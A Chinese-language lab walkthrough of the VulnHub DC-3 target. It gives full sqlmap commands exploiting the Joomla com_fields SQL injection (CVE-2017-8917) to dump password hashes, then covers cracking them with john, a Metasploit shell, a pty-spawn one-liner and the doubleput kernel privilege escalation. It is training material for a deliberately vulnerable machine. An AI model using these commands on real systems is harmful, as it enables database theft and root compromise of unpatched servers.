靶场下载地址:https://download.vulnhub.com/dc/DC-3-2.zip
目录
实验背景:DC-3跟DC-1一样是一个易受攻击的实验环境,最终目的是让攻击者获得root权限,并读取flag。
攻击机ip:192.168.179.131 kali
靶机ip:192.168.179.9 ubantu
目标:与DC-1和DC-2不一样,DC-3只有一个flag,获取靶机上的flag
难度:较低
1.内网渗透
先利用namp扫描整个网段,找出靶机的IP为192.168.179.9
2.端口扫描
扫描所有开放的端口,找出的开放端口为80
根据对应的端口,找到可能存在的漏洞,找到一个名为cev-2017-8917的漏洞
nmap --script=vuln -p80 192.168.179.9
用msf查找漏洞,发现了一个漏洞,尝试进行攻击复现
show options查看需要设定的参数
设置目标ip:set rhosts 192.168.179.9,run进行攻击,发现没有token,攻击失败,这个是有用的,先做到这里,等一下再来。
3.目录扫描
通过dirb遍历一下其可能存在的站点
通过访问站点找到了一个登录界面,http://192.168.179.9:80/administrator/,联想到等一下可能需要得到账号密码
3.扫描指纹
要下载插件扫描指纹信息,用kali自带的whatweb插件;
whatweb 192.168.127.136
4.漏洞扫描
发现其用的是joomla内容管理系统,其实在上面的漏洞扫描就发现了它,再查找一下关于joomla的漏洞
找到了两个文件,都看一看,可以在42033.txt发现了sql注入漏洞,用sqlmap暴库
vi /usr/share/exploitdb/exploits/php/webapps/42033.txt
5.sql暴库
用它给的命令进行注入
sqlmap -u "http://192.168.179.9/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs
成功爆出库名
再查看joomladb数据库
sqlmap -u "http://192.168.179.9/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
成功爆出表名
再查看#users表
sqlmap -u "http://192.168.179.9/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
成功爆出表内容
利用表名和字段再查看密码表
sqlmap -u "http://192.168.179.9/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
成功爆出密码表
将获得password密文保存到dc-3pwd.txt,用kali自带的john爆出明文,可得出最终用户名和密码
-
用户名:admin
-
密码:snoopy
将得到的用户名和密码拿到上面获得的登录界面进行登录,发现登录成功
6.漏洞利用
登录成功后成功获取到token,这个时候再去利用上面的cve-2017-8917,发现成功得到shell
在meterpreter输入shell之后进入交互界面,id看一下当前用户为www-data,uname -a看一下当前的操作系统为ubuntu,根据之前的经验加上找不到flag,所以要考虑提权
7.漏洞提权
查找一下Linux版本为4.4,ubuntu版本为16的相关漏洞,通过尝试,找到一个33772.txt可以利用
查看一下这个文件,原本找到下面这个利用文件,但是发现页面丢失,无法下载
在文件中又看到了source,尝试打开
打开页面中有利用的源代码,也有利用的文件,下载文件传输到靶机上
可以通过meterpreter的upload上传文件
补充:由于meterpreter进入shell时没有回显,比较难看,可以通过python构造一个回显,命令为
python -c 'import pty; pty.spawn("/bin/bash")'
将文件进行解压
切换到ebpf_mapfd_doubleput_exploit目录下,执行compile.sh和doubleput,successfully说明执行成功
whoami查看当前用户,发现用户为root,说明提权成功,cd到root目录下,发现了the-flag.txt,漏洞复现完成
8.总结
dc-3自我感觉比前面两个要难,主要掌握
-
nmap多种用法
-
漏洞库查找与利用
-
sqlmap暴库
-
john暴密
-
代码提权